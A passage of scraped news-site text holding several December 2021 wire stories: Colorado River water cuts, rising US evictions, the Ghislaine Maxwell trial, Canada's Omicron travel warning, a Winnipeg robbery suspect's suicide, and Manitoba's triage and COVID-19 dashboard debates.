takes all the reductions. It'll be too late, he said. Less water flowing through Hoover Dam, which holds back Lake Mead, also reduces power generation that serves 1.3 million people in three states. The dam now is running at 75% capacity. If Lake Mead falls below 950 feet (289 meters), the dam's turbines would stop running altogether. Lake Mead, which straddles the Nevada-Arizona line, was at 1,065 feet (324 meters) on Wednesday. For California, which receives more than half the hydropower, the new deal is particularly urgent, said Adel Hagekhalil, general manager of the Metropolitan Water District of Southern California. As levels drop at Lake Mead, it's basically strangling everything, Hagekhalil said. Ultimately, Mother Nature is in charge, said Kathryn Sorensen, research director at the Kyl Center for Water Policy at Arizona State University. Its all based on modeling that may or may not be correct," Sorensen said. "Whether even the 500+ Plan is enough, I just dont think people know. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Next year marks 100 years since the creation of the compact that apportioned the river's water among seven Western states during an unseasonably wet era. Mexico was included later. Wyoming, Colorado, New Mexico and Utah are in the upper basin. In the years since, federally subsidized water projects allowed cities and farms to balloon. As scientists say climate change is making the West warmer and more arid, far less water is available in the system to meet demands of all users. ___ Fonseca reported from Flagstaff, Arizona. Follow Fonseca on Twitter: @FonsecaAP. Follow Peterson on Twitter: @brittanykamalei ___ The Associated Press receives support from the Walton Family Foundation for coverage of water and environmental policy. The AP is solely responsible for all content. For all of APs environmental coverage, visit https://apnews.com/hub/environment BOSTON (AP) Soon after losing his trucking job amid the pandemic, Freddie Davis got another blow: His landlord in Miami was almost doubling the rent on his Miami apartment. Faye Moore, right, and her partner Garry Betared, left, talk about being evicted from their home as they sit in a hotel room on Wednesday, Nov. 24, 2021, in Morrow, Ga. Behind several thousand dollars rent on her two-bedroom townhouse in an Atlanta suburb, Moore thought she would get the chance to present her case to a judge, including that the management refused to take her rent money for months and that she was given no notice before she was evicted. (AP Photo/Brynn Anderson) BOSTON (AP) Soon after losing his trucking job amid the pandemic, Freddie Davis got another blow: His landlord in Miami was almost doubling the rent on his Miami apartment. Davis girded for what he feared would come next. In September he was evicted just over a month after a federal eviction moratorium ended. He's now languishing in a hotel, aided by a nonprofit that helps homeless people. The 51-year-old desperately wants to find a new apartment. But it's proving impossible on his $1,000-a-month disability check. We live in America, and the thing is, people like me, we got to go to the street if we dont have no other place to go because we cant afford rent, said Davis, who lost a leg to diabetes, suffers congestive heart failure and is recovering from multiple wounds on his other leg and foot. I really cant do nothing. The federal ban, along with a mix of state and federal moratoriums, is credited with keeping Davis and millions of others in their homes during the pandemic and preventing the spread of the coronavirus. There was a brief lull in evictions filings after the ban ended. But housing advocates say they're on the rise in many parts of the country - though numbers remain below pre-pandemic levels due to the infusion of federal rental assistance and other pandemic-related assistance like expanded child tax credit payments that are also set to end. Part of the increase is due to courts catching up on the backlog of eviction cases. But advocates say the upsurge also shows the limits of federal emergency rental assistance in places where distribution remains slow and tenant protections are weak. Rising housing prices in many markets also are playing a role. Freddie Davis climbs into a rented truck to drive his furniture and larger belongings to a storage shed, as he prepares for an eviction that could come at any time, Monday, Sept. 6, 2021, outside the ground floor one-bedroom apartment where he has lived for almost four years, in Miami. (AP Photo/Rebecca Blackwell) According to the latest data from the Eviction Lab at Princeton University, eviction filings have been rising in most of the 31 cities and six states where it collects data. They increased 10.4% from the first half of August to the first half of September. In the first half of October, numbers were 38% above August levels and 25% higher than in September. Filings fell around 7% from the first half of October to November and now remain about 48% below pre-pandemic levels. Among places where eviction filings are returning to normal are Connecticut as well as Houston, Indianapolis, and Cincinnati and Columbus, Ohio, according to the Eviction Lab. Florida, too, has seen a significant rise, with filings in Tampa and Gainesville returning to near pre-pandemic levels. "There was a batch of initial commentary coming out when the moratorium ended and the tone ... was, well, there wasnt a tsunami so we dont have an eviction crisis on our hands, said Ben Martin, senior researcher at Texas Housers, a nonprofit focused on housing issues. That initial narrative was somewhat misleading. What we are seeing is a reflection of reality, which is that evictions take time to work their way into and through the court system. Among the concerns is that some landlords who got federal assistance are still evicting tenants. A survey of nearly 120 attorneys nationwide from the National Housing Law Project found 86% had seen cases like this. They also saw increasing instances of landlords lying in court to evict tenants and illegally locking out tenants. In many states, landlord tenant law is antiquated and designed to provide results for landlords," said Shamus Roller, executive director of the National Housing Law Project. Instead of adjudicating the facts, courts function as conveyor belts, moving tenants toward eviction. Among those who contend they were illegally evicted is Faye Moore. The 72-year-old returned home from work in October to find her life spread out on the sidewalk. Behind several thousand dollars rent on her two-bedroom townhouse in an Atlanta suburb, Moore figured she would get the chance to present her case to a judge, including that management refused to take her rent money for months and that she was given no notice before she was evicted. This preview images of an AP digital embed shows eviction filings since March 2020. Eviction filings remained below historical averages in 2020 but are creeping back following a lifting of the CDC moratorium on evictions late August of 2021. (AP Digital Embed) Im devastated. It was a house full of furniture. Everything, said Moore, a retired mental health therapist who is now staying in a hotel with her 61-year-old partner, Garry Betared. It was like a storm came in and devastated everything. I cant find my important papers or anything. Cicely Murray, a HUD housing counselor with the Neighborhood Assistance Corporation of America who is working with Moore, was most upset that the couple was evicted without a court hearing and forced to fend for themselves. Im angry that anyone would put an elderly couple out without trying to figure out what resources are there, Murray said. We are still in a pandemic. ... You are putting people in precarious situations who are some of the most fragile. As Christmas approaches, there are plenty of signs that eviction cases will keep rising. According to the U.S. Census Bureaus Household Pulse Survey, those saying they weren't confident of paying next months rent increased from about 5 million at the end of September to 6.3 million in the latest data. Landlords, especially smaller ones who own a handful of apartments, have also struggled. They believed the moratorium was illegal and saddled them with months of back rent they may never get back. Others were forced to lay off maintenance staff or sell units as they awaited federal rental assistance that was slow to be distributed. Some localities have lagged behind in getting out their portion of the $46.5 billion in federal Emergency Rental Assistance. According to a November report from the National Low Income Housing Coalition, 28% of grantees 32 states and 80 localities spent less than 30% of their first allocation of money and risk losing those funds. Among them is Nebraska, which spent only 6% of its funding through September and just 7% through October. Some landlords are refusing to take part in the program, said Caitlin Cedfeldt, a staff attorney at Legal Aid of Nebraska, while others have grown tired of waiting and are moving to evict. Tenants, some of whom got initial help but still face economic hardship, are being told they can't yet reapply for additional help. Missouri only spent 18% of its funding through September but has since improved. We have so much more work to do, U.S. Rep. Cori Bush, a St. Louis Democrat, said, citing data showing that evictions during the pandemic have taken lives. There are some states and local governments that feel, We dont want this money. We dont want this federal aid," she said. "And, we have some landlords who say that they dont want the money as well. So that makes it harder for the money to be dispersed. Gene Sperling, who is charged with overseeing implementation of President Joe Bidens $1.9 trillion coronavirus rescue package, said some increase in evictions was inevitable after the ban ended. "But fortunately because the Emergency Rental Assistance program is now paying full back-rent to about 500,000 renters each month, the eviction tsunami that experts feared has not occurred, he said. On the flip side are states and cities running out of rental assistance. The Treasury Department expects that upwards of $30 billion, or about two-thirds of the money, will have been spent or allocated by the end of the year. As the law dictates, Treasury is expected to begin reallocating funds from places not spending it to those in need. Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Texas has stopped accepting new applicants because it has allocated all its funds, though it continues to process applications received before the deadline. Oregon has stopped taking new applicants for now. The state of New York has spent or committed nearly all of its money, as has Philadelphia. California will soon exhaust its funds, while Atlanta has closed its program to new applicants. Austin, Texas, also stopped taking applications. Its particularly concerning that a number of these programs are now shutting down because all funds have been expended or obligated, said Peter Hepburn, research fellow at the Eviction Lab. If that funding gets removed, landlords may have less incentive to work with tenants. ___ Associated Press writers Adriana Gomez in Miami and Jim Salter in OFallon, Missouri, contributed to this report. NEW YORK (AP) The case for and against Ghislaine Maxwell has been made, and as soon as Monday, her fate will rest squarely in the jury's hands. In this courtroom sketch, a witness testifying under the pseudonym "Carolyn," breaks down on the witness stand testifying about her experiences with Jeffery Epstein, during proceedings in Ghislaine Maxwell's sex-abuse trial, in New York, Tuesday, Dec. 7, 2021. (AP Photo/Elizabeth Williams) NEW YORK (AP) The case for and against Ghislaine Maxwell has been made, and as soon as Monday, her fate will rest squarely in the jury's hands. Maxwell, a socialite, has denied allegations from four women who say they were teens when she helped the wealthy financier Jeffrey Epstein sexually abuse them. Her lawyers say she has been wrongly targeted by prosecutors intent on holding someone anyone accountable after Epstein killed himself while awaiting trial on related sex-abuse charges. The evidence phase of the trial concluded within three weeks. With just days left before a verdict is expected, its time to take stock of developments. WHO ARE GHISLAINE MAXWELL'S ACCUSERS? The prosecution, mounted by the U.S. Attorney's Office for the Southern District of New York, hinges on the accusations of four women who say they were teenagers when Maxwell and Epstein sexually exploited them in the 1990s and early 2000s. Three testified under the pseudonyms Jane, Kate and Carolyn. One, Annie Farmer, decided to tell her story publicly. WHAT WAS GHISLAINE MAXWELL UP TO BEFORE HER ARREST? Maxwell was arrested in July 2020 almost a year after Epstein killed himself in jail while awaiting trial. After Epstein's death, she withdrew from public activities like running an oceans charity. Her whereabouts became a subject of public speculation. Was that her eating a burger and reading a book on CIA operatives in Southern California? Was she living in Britain or Paris or maybe even Massachusetts? Prosecutors say she went into hiding in New Hampshire where she was eventually arrested in a million-dollar home where she kept her cellphone wrapped in foil. SO HAS GHISLAINE MAXWELL BEEN IN JAIL THIS WHOLE TIME? Yes, despite multiple requests for bail, Maxwell has spent well over a year lodged in federal lockup in Brooklyn. Maxwell has triple citizenship with the U.S., U.K. and France, the last of which does not extradite its citizens. Her attorneys and family have lambasted jail conditions, which they say are punitive and inhospitable to Maxwells ability to mount a proper defense. HOW EXACTLY DO YOU PRONOUNCE GHISLAINE? Think French. Hard "g," silent s. First syllable: ghee, like the clarified butter, and quick. Second syllable, like a country lane and slightly emphasized. IS THE GHISLAINE MAXWELL TRIAL AIRING ON TELEVISION OR STREAMING? In this courtroom sketch, Ghislaine Maxwell center, confers with her defense attorney Jeffrey Pagliuca, right, before testimony begins in her sex-abuse trial, in New York, Wednesday, Dec. 8, 2021. Testimony continues in the trial of Ghislaine Maxwell, the British socialite accused of helping the millionaire Jeffrey Epstein sexually abuse underage girls. (AP Photo/Elizabeth Williams) No. It's in federal court, which doesn't allow cameras. That's why all the images from the courtroom are sketched. WHEN DID TESTIMONY BEGIN? Nov. 29. HOW LONG DID IT TAKE PROSECUTORS TO MAKE THEIR CASE? The prosecution's case lasted two weeks, across 10 days of testimony. HOW LONG DID IT TAKE THE DEFENSE TO MAKE THEIR CASE? Two days. THAT'S IT? Yes, the witness lists for both sides were greatly truncated. The whole trial was originally projected to last six weeks! WHEN WILL GHISLAINE MAXWELL'S TRIAL BE OVER NOW? It's hard to give a precise estimate, but closing arguments are set for Monday and the jury could get the case as soon as the end of that day. We might see a verdict as early as Christmas, which also happens to be Maxwell's 60th birthday. WHY DIDN'T GHISLAINE MAXWELL TESTIFY? When offered the chance, she told the judge not without some defiance that she had no need to testify, as the prosecution had failed to adequately prove their case. But regardless, it's rare for a high-profile defendant to put themselves on the stand, as it opens them up to a lot more scrutiny. This courtroom sketch shows Ghislaine Maxwell, left, conferring with her defense attorney Bobbi Sternheim before the start of her sex abuse trial today, Thursday Dec. 9, 2021, in New York. (AP Photo/Elizabeth Williams) WHAT EXACTLY WAS GHISLAINE MAXWELL'S RELATIONSHIP WITH JEFFREY EPSTEIN? They were romantically involved, but at some point the timeline is unclear she says she transitioned to being more of an employee, running his households. Prosecutors have accused of her as functioning as Epstein's madam, procuring underage girls to satisfy him sexually. WHERE DID JEFFREY EPSTEIN HAVE HOMES? All over the place: Palm Beach, Florida; New Mexico; Manhattan; the U.S. Virgin Islands; Paris. WHAT DID JEFFREY EPSTEIN DO FOR A LIVING? He left his teaching career at a tony Manhattan prep school to work at Bear Stearns, an investment bank, and then started his own money-management business. He would not disclose his assets and income even after his July 2019 arrest, but he seems to have built a fortune managing investments for others. HOW IS PRINCE ANDREW INVOLVED IN ALL OF THIS? He's not. Not exactly, at least. A woman is suing the British royal, saying he sexually abused her when she was 17. She says Maxwell facilitated her meetings with Andrew, who has denied the account. But the woman's accusations have been left out of this trial. That lawsuit won't go to trial until at least late 2022. Andrew's name has come up in this trial, though: a pilot of Epstein's private jet, dubbed the Lolita Express by the news media, testified he had flown Andrew and an accuser confirmed she told the FBI she had flown with the prince, as well. WHO IS GHISLAINE MAXWELL'S HUSBAND? Also unclear! She was living with him when she was arrested in New Hampshire, but court documents have not made his name public. He did support her bail attempts, but has not been spotted at the trial. DOES GHISLAINE MAXWELL HAVE ANY NOTABLE SUPPORTERS? Her family the scions of the late publishing magnate, Robert Maxwell is sticking by her. Two of her siblings, Kevin and Isabel, have attended each day of proceedings. The Maxwells strongly assert the U.S. justice system is making a patsy of their youngest sister. Ghislaine is notably the baby of the family and said to have been the favorite of her father, who died falling off a yacht named for her. WHO IS THE JUDGE FOR GHISLAINE MAXWELL'S TRIAL? U.S. District Judge Alison J. Nathan, who was recently nominated by President Joe Biden to serve on the U.S. Court of Appeals for the Second Circuit. That promotion is not expected to interfere with proceedings in the Maxwell case, but the trial was in recess for the first three days of its third week so she could answer questions from the U.S. Senate panel charged with considering her elevation. HOW HAS GHISLAINE MAXWELL BEEN SPENDING HER TIME IN JAIL? According to a website set up by her family, Maxwell has been working through a pile of books. Her reading list runs the gamut of criminal-justice related books like the award-winning Just Mercy by Bryan Stevenson to Licensed to Lie: Exposing Corruption in the Department Justice by Sidney Powell, a conspiracy theorist and former lawyer for President Donald Trump. She's also been making her way through Philip Pullman's His Dark Materials fantasy series and popular book club fiction pick Eleanor Oliphant is Completely Fine, by Gail Honeyman. IF CONVICTED, HOW MUCH TIME IN PRISON WOULD SHE BE LOOKING AT? Potentially many years. LET'S REWIND: WHAT EXACTLY IS GHISLAINE MAXWELL CHARGED WITH? This ongoing trial revolves around six charges: 1. conspiracy to entice minors to travel to engage in illegal sex acts 2. enticement of a minor to travel to engage in illegal sex acts 3. conspiracy to transport minors with intent to engage in criminal sexual activity Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. 4. transportation of a minor with intent to engage in criminal sexual activity 5. sex trafficking conspiracy 6. sex trafficking of a minor A superseding indictment in March also charged Maxwell with two counts of perjury, but the judge granted the defense's request to spin those off into a separate trial. SO THERE'S MORE TO COME? Yes. Regardless of the outcome of this trial, there's more to come. OTTAWA - The federal government is now warning Canadians against all non-essential international travel in the face of the rapidly spreading Omicron variant of COVID-19. A man uses a sanitizer spray to wash down luggage carts at Toronto's Pearson International Airport in Toronto on Tuesday, June 23, 2020. Prime Minister Justin Trudeau says people will have to be careful as they finalize their Christmas plans this year, now that the highly transmissible Omicron variant is spreading through Canada. THE CANADIAN PRESS/Nathan Denette OTTAWA - The federal government is now warning Canadians against all non-essential international travel in the face of the rapidly spreading Omicron variant of COVID-19. "To those who were planning to travel I say very clearly, now is not the time to travel," Health Minister Jean-Yves Duclos said Wednesday at a news conference in Ottawa. "The rapid spread of the Omicron variant on a global scale makes us fear the worst for Canadians that may think of travelling." Duclos said the highly transmissible variant is now spreading in Canadian communities, and just about everywhere else in the world. He said that people who leave the country risk spreading the virus, and getting stranded abroad. The new advisory takes a stronger stance than the one published shortly after the emergence of the Omicron variant, urging Canadians to be aware that travel to an area with Omicron could hamper their ability to return to Canada. "We know that this may sound very drastic," Duclos said. "But we must avoid overloading our hospital system and our health-care workers." The news came as a bit of a blow to Brian Hayes and his family. He and his wife weren't able to spend Christmas with their kids last year because of the pandemic, so they resolved to meet in Hawaii this holiday season. "You kind of beat yourself up a bit about making these plans a year in advance but we thought vaccinations would make a big, big difference, having no idea of course about the science of the variants," Hayes said. Health Minister Jean-Yves Duclos listens to a question during a news conference, Tuesday, November 30, 2021 in Ottawa. THE CANADIAN PRESS/Adrian Wyld They paid off the trip over the course of the year. Now, because their travel insurance does not cover advisory changes, it looks like the family won't be able to recoup the cost if they cancel. Tempting as it is to head to sunny shores regardless of the government's advice, the family has opted to stay in Canada for the holidays. "At least we'll all be together this Christmas," he said Duclos would not offer advice on domestic travel, adding that any travel restrictions within Canada will come from provincial governments, but Prime Minister Justin Trudeau urged Canadians to be cautious when making their travel plans. "I understand this sucks," Trudeau said Wednesday. "The reality is Omicron is here in Canada, and we have to cut down community spread." "Canadians will, I know, be continuing to demonstrate the thoughtfulness and the care that they've shown not just for themselves and their loved ones, but also for health-care workers and front-line workers and our health-care systems that have come so close to being overwhelmed time and time again," he said. Dr. Stephen Ellis, who has been tapped to help Conservatives take policy positions around COVID-19, told reporters Canadians are tired of COVID-19 and people are losing hope, so the focus needs to be on how people are going to live with the pandemic. "The frustration, I think, that we hear from Canadians is what's the endgame here?" he said. "The pragmatic approach becomes, how are we going to live with COVID in our lives?" Ministers warned more measures at the border could still be on the way, and did not rule out the possibility of reinstating the requirement for travellers who leave the country for less than 72 hours to complete a molecular COVID-19 test in order to re-enter Canada. Currently, Canada has banned all foreign nationals who have been in 10 specific African countries in the last 14 days from entering the country to offset the threat of importing Omicron cases. That policy should be re-examined, chief public health officer Dr. Theresa Tam said Wednesday. Duclos hinted the government may "clarify" that policy soon. The announcement came after Trudeau spoke with provincial and territorial premiers Tuesday evening to discuss how to respond to Omicron. Ottawa has agreed to send shipments of booster doses and rapid tests to provinces and territories to quickly ramp up vaccination campaigns to combat the virus at home. Trudeau and the premiers also discussed potential domestic measures to stop community spread. Meanwhile, Tam has advised against all mass gatherings, even for people who are fully vaccinated. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "At this point in time, what we know is that even if you have two doses, there's a possibility you could be infected and spread to others," Tam said Wednesday. Finance Minister Chrystia Freeland dedicated $4.5 billion in Tuesday's fiscal update to respond to the Omicron variant. The government has also set aside $1.7 billion to buy and distribute rapid tests to the provinces, and $2 billion for drugs to treat people who have been infected. "I know that the rising threat Omicron poses is not something any of us want to be dealing with, especially now, just before the holidays," Freeland said Wednesday. This report by The Canadian Press was first published Dec. 15, 2021. With files from Stephanie Taylor A bank robbery suspect who took a woman hostage and then killed himself in Edmonton last month had threatened suicide just days earlier as he stared down a jail sentence in Winnipeg. A bank robbery suspect who took a woman hostage and then killed himself in Edmonton last month had threatened suicide just days earlier as he stared down a jail sentence in Winnipeg. Edmonton police did not release the name of the suspect found dead inside a northside city home Nov. 29, but highly placed local sources have identified him as 36-year-old Marcus Xavier Baird of Winnipeg. Baird was allegedly fleeing after robbing a bank around 1 p.m. when he ran into a random home and took a woman hostage. Edmonton police said hostage negotiators communicated with a suspect before the woman was released with "serious but non-life-threatening injuries" around 5:30 p.m. Police entered the house 30 minutes later and found Baird dead. Five days earlier, a Winnipeg judge convicted Baird after trial on two counts of possession of stolen property and one count of trafficking in stolen property. Court heard testimony that dozens of boxes of hardwood flooring and other property were stolen from a home under construction in the RM of Springfield in May 2018 and was later offered for sale by Baird through Kijiji. THE CANADIAN PRESS/JASON FRANSON Police secure the scene where they allege a suspected bank robber fled to a residential area and took hostages in Edmonton on Nov. 29. Court documents show police executed a search warrant at Bairds Wall Street warehouse and seized more than 300 construction tools and other items that had been reported stolen. Crown attorney Mark Kantor initially told court that day he would consider a sentence of six months time served, but later changed his position, saying a sentence closer to two years was appropriate, given the commercial nature of the crime. Baird was scheduled to appear in court the following day, Nov. 25, for sentencing, but didnt show up. Instead, he sent an email to Kantor claiming to be in possession of a "damning report" that shows corruption by police and justice officials handling his case. "I think that the proposed time that you are seeking for a sentence is completely unreasonable," Baird wrote in an email Kantor read out to provincial court Judge Anne Krahn. "I would suggest to you that you revert back to your first offer of time in custody or I will use this report to expose everything that you and the police have done." Kantor told Krahn he had reviewed his position again and had Baird gone to court, he would have told him he was considering a sentence closer to time served. Krahn agreed to adjourn sentencing for one day to give Baird another chance to attend court. THE CANADIAN PRESS/JASON FRANSON Edmonton police did not release the name of the suspect found dead inside the Edmonton home Nov. 29, but local sources have identified him as 36-year-old Marcus Xavier Baird of Winnipeg. In a second email sent to Kantor later that day, Baird said again he would not go to court. "If I am to be treated fairly in court, I dont believe that to be a possibility from prison," he wrote. "I am in no way running, but just looking to buy some time so that I can pay for a lawyer, like I have repeatedly asked for." Kantor told court Nov. 26 he replied to Bairds email the previous day, at 7:22 p.m., cautioning Baird his message could be interpreted as extortion and telling him he was now prepared to recommend a sentence of time served. Kantor said Baird did not reply until 10:45 a.m., Nov. 26. "I wish that I had read this earlier," Baird wrote. "After yesterday, I had decided that it would be best to take my own life and have already made arrangements to do so. Even if I wanted to, I could not make it to court this afternoon. Any attempts by me to try and extort you, if thats what you want to call it, was just my fear of going back to jail. This doesnt matter anymore. I am sorry for the inconvenience." Kantor said after receiving the email, he contacted Bairds parole officer and police to initiate a well-being check on him. Krahn issued a warrant for Bairds arrest. THE CANADIAN PRESS/JASON FRANSON Baird was allegedly fleeing after robbing a bank around 1 p.m. when he ran into a random home and took a woman hostage. "I certainly hope he has not hurt himself and things havent come to that point," she said. In June 2019, Baird was convicted of obtaining the sexual services of someone under 18 and sexual interference. He was sentenced to 3 years in prison. Baird was arrested in October 2018 after police caught him having sex in his car with a 15-year-old girl. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Baird spent six months in custody on the most recent charges before he was granted bail in July. Baird had been accused of a number of other sex crimes in the past, but not convicted. He spent nearly three years in custody before sex-assault charges, involving separate attacks on a 62-year-old woman and a 26-year-old woman, were stayed in 2014. He was taken into custody April 16, 2011, accused of sexually assaulting two prostitutes in his car. He was acquitted in May 2012, after a judge ruled key aspects of the Crowns case gave him reasonable doubt. Baird was accused of assaulting another woman in her garage in February 2011. Charges in that case were stayed for lack of evidence. dean.pritchard@freepress.mb.ca AS the provinces intensive care units are again stretched over capacity, the Manitoba Human Rights Commission is deeply concerned about the lack of clear triage protocols to show how lifesaving care is being delivered. AS the provinces intensive care units are again stretched over capacity, the Manitoba Human Rights Commission is "deeply concerned" about the lack of clear triage protocols to show how lifesaving care is being delivered. The commission wrote to Health Minister Audrey Gordon on Monday, joining in repeated requests for Manitoba to implement and publicly release triage policies to ensure "discriminatory attitudes" dont dictate who has access to critical health care. "There is an urgent need for clear and transparent policy guidance in Manitoba with respect to triage protocols and a need to ensure these protocols centre human rights principles," Karen Sharma, commission acting executive director, wrote in the Dec. 13 letter. "With the emergence of new COVID-19 variants, the increasing number of hospitalizations and the corresponding stresses placed on our health-care system, it is imperative that health-care providers and patients have clarity around how triage decisions are made, and that the allocation of health services occur in a non-discriminatory manner," she wrote. "Manitoba Health must ensure that health-care providers and medical staff are properly supported and appropriately trained in rights-based triage protocols in order to ensure a consistent and equitable approach that aligns with human rights obligations. In the absence of such policy and training, the commission is concerned about the possibility of discriminatory attitudes, stereotypes and assumptions about disability, ancestry, age, and other factors playing a role in triaging decisions and the allocation of critical life-saving care." Advocates have pushed for Manitoba to release its triage protocol since the fall of 2020, when it became clear hospitals were bearing the brunt of the second-wave COVID-19 response. A group of advocacy organizations formed the Human Rights Triage Protocol Coalition to lobby the government, and Doctors Manitoba has joined the call. The rights commission said it has heard from Manitobans about their lack of access to health care during the pandemic. Sharma said the nature of any complaints cant be made public under existing legislation unless a complaint progresses to the hearing stage.) Its been a year since the commission first called for the government to make sure limited critical care services are delivered in line with human rights law. David Kron, spokesman for the coalition, said hes glad the commission issued its recent letter. Up to this point, he said the government has not had any conversation with advocates about developing triage protocols. "Were not even having a conversation, and thats the frustrating part," Kron said. "Im at a loss as to why theyre not engaging with us." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In May 2020, Shared Health developed an ethics framework in response to the COVID-19 pandemic, and the provincial government has pointed to that framework when asked about its triage protocols. But the framework does not contain a specific protocol. It states: "Leadership/teams responsible for any finite resource (e.g. beds, ventilators, vaccine, IV fluid, personal protective equipment, nurses, etc.) should develop a triage process for determining how each resource will be allocated in times of scarcity that is consistent with the above principles." In the commissions letter to the health minister, Sharma wrote the framework doesnt adequately address triage protocols or the concerns that they be non-discriminatory. "While the commission was encouraged by the release of this ethical framework, we are deeply concerned about the continued lack of clear and publicly available policy guidance as to how triaging decisions are made when it comes to the allocation of critical life-saving care and other health care-related services and supports, as well as decisions made with respect to which patients are transferred out of province for reasons related to COVID-19," Sharma wrote. The Free Press reached out to the health minister for comment, but received no reply. katie.may@freepress.mb.ca A government dashboard showing nearly half of recent COVID-19 cases in Manitoba were among fully vaccinated people is misleading and fails to clearly represent the risk the disease poses to people who have yet to take the jab, experts say. A government dashboard showing nearly half of recent COVID-19 cases in Manitoba were among fully vaccinated people is misleading and fails to clearly represent the risk the disease poses to people who have yet to take the jab, experts say. Manitoba public health discloses the number of new COVID-19 cases, hospitalizations and intensive care admissions by vaccination status on its pandemic dashboard each weekday. According to the dashboard, 48 per cent of COVID-19 cases reported in the past two weeks were in fully vaccinated people and 44 per cent were in unvaccinated people. Meanwhile, on Tuesday, the province reported 88 new cases in fully vaccinated people and 61 cases in unvaccinated people. The snapshot of daily data has since been shared on various social media channels and in anti-vaccination circles to cast doubt on the efficacy of COVID-19 vaccines. The Manitoba government currently provides data about vaccination status of COVID-19 patients in a graphic that shows only the percentage of raw number of cases in each state. Critics argue this presentation suggests the vaccine isnt very effective. (Government of Manitoba) University of Saskatchewan community health Prof. Nazeem Muhajarine said the Manitoba dashboard lacks basic population information that would provide crucial context for the number of infections being reported among vaccinated and unvaccinated people. "Reporting this type of incomplete information in the midst of a pandemic and in the midst of one of the most highly mutated variants, omicron, knocking about is actually very alarming," Muhajarine said in an interview with the Free Press. The epidemiologist described the provinces dashboard as misleading, adding it can serve as evidence and ammunition for people who already believe vaccines are not going to protect against COVID-19. "It really does send the wrong message and signal to people who might be looking for something like this," Muhajarine said. "They will latch on to it, harp on it and basically hold this up as confirmation of what they had always been saying, of course, erroneously." When adjusted to account for population size, the risk of infection for unvaccinated people in the province is more than five times greater than vaccinated people, according to Doctors Manitoba. People who have yet to be vaccinated are also 8.4 times more likely to be hospitalized with COVID-19 and 19 times more likely to end up in intensive care, the local physicians association said. Reviewing per-capita cases, rather than the raw numbers, provides a different perspective on the effficacy of vaccines. (Wendy Sawatzky / Winnipeg Free Press) Nearly three-quarters of all Manitobans have been fully vaccinated. Meanwhile, just under 20 per cent of residents, including those who are ineligible, have had zero doses of the vaccine. In recent weeks, Doctors Manitoba has taken to social media to dispel misinformation and answer questions stemming from the numbers presented on the government dashboard. "When it comes to sharing new COVID-19 cases or severe outcomes by vaccination status, it is important to present this information in a way that allows an apples-to-apples comparison," Doctors Manitoba spokesman Keir Johnson said in a statement to the Free Press. The advocacy association has also suggested to the government it change the way it reports cases by vaccination status. "Because the number of people who are fully vaccinated is so much larger than the number of people who are unvaccinated, it makes comparing numbers misleading unless they are presented with additional information, such as a rate or relative risk." Local actuary Todd Friesen has also taken on the job of adding context, using Twitter to share information about the risk and infection rate for people who are not vaccinated against COVID-19. Friesen, a fellow with the Canadian Institute of Actuaries who has practised in Winnipeg for more than a decade, said he began sharing his analysis in an effort to support the vaccine campaign. "If you dont provide the context on these types of pie charts, then you run the risk of them being misused by the public and social media," Friesen said. "We need to do some minimal steps there to contextualise the data and to make sure that we are communicating the actual relative risk between those who are vaccinated and unvaccinated." Stay informed The latest updates on the novel coronavirus and COVID-19 delivered to your inbox every weeknight. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. In addition to including infection and hospitalization risk adjusted for population, Friesen said the province should also include risk adjustments based on age because older people have a higher chance of experiencing a severe outcome related to COVID-19. Friesen said the average age of unvaccinated people in Manitoba is about 20, compared to 45 for people who have been vaccinated. "One thing thats contributing to that is we have a large cohort of ineligible kids who are not vaccinated," Friesen said. "What ends up happening is were implicitly comparing unvaccinated kids with seniors who are fully vaccinated. "And the relative risks between seniors and kids are not remotely close." When adjusted for age, unvaccinated people are 45 times more likely to need hospitalization related to COVID-19 and 85 times more likely to need ICU admission, Friesen said. "Those are substantial numbers," Friesen said. "It shows very clearly how effective vaccines are." A request for an interview with a member of the provincial public health unit was not accommodated Tuesday. In a statement, a spokesperson for the government said the data shared online is regularly reviewed. "If the province makes a change in this reporting it will be announced," the statement said. danielle.dasilva@freepress.mb.ca Manitobas top doctor is calling for all eligible residents to get their third dose of the COVID-19 vaccine ahead of holiday gatherings, as the omicron variant threatens to drive case counts to record levels. Manitobas top doctor is calling for all eligible residents to get their third dose of the COVID-19 vaccine ahead of holiday gatherings, as the omicron variant threatens to drive case counts to record levels. "Were putting that message out, that plea out to Manitobans to get that third dose right now if youre eligible," chief provincial public health officer Dr. Brent Roussin said Wednesday. Roussin shared preliminary pandemic modelling for the more infectious omicron variant of COVID-19 at a news conference at the vaccine clinic at the RBC Convention Centre in downtown Winnipeg. In a transmission scenario similar to whats been observed in Ontario and the United Kingdom, Roussin said Manitoba could report more than 200 COVID-19 cases a day by Dec. 25, and more than 1,000 cases a day early in the new year, once omicron is spreading in the community. Dr. Joss Reimer, medical lead for the provinces COVID-19 vaccine task force, said by sharing this information she hopes Manitobans will take "immediate action" to get either their first, second or third dose. "Were all living in a time of rising COVID-19 case counts and waning immunity in our communities and around our family dinner tables," Reimer said. "More than ever, the time to get your next dose if you are eligible is now." All adult Manitobans can get a third dose of the COVID-19 vaccine six months after their second shot. Reimer said people age 60 and up who got their second dose on or before July 10 should get their third dose immediately. Adults living on First Nations communities who got their second dose on or before July 10 should get a third shot as soon as possible, she said. "This really needs to be the most important item on your holiday season to-do list." Reimer gave Health Minister Audrey Gordon her third dose of the vaccine at the news conference. Experts are concerned some features of omicron will make the vaccine less effective in fighting off an infection, while previous infections may not provide as much 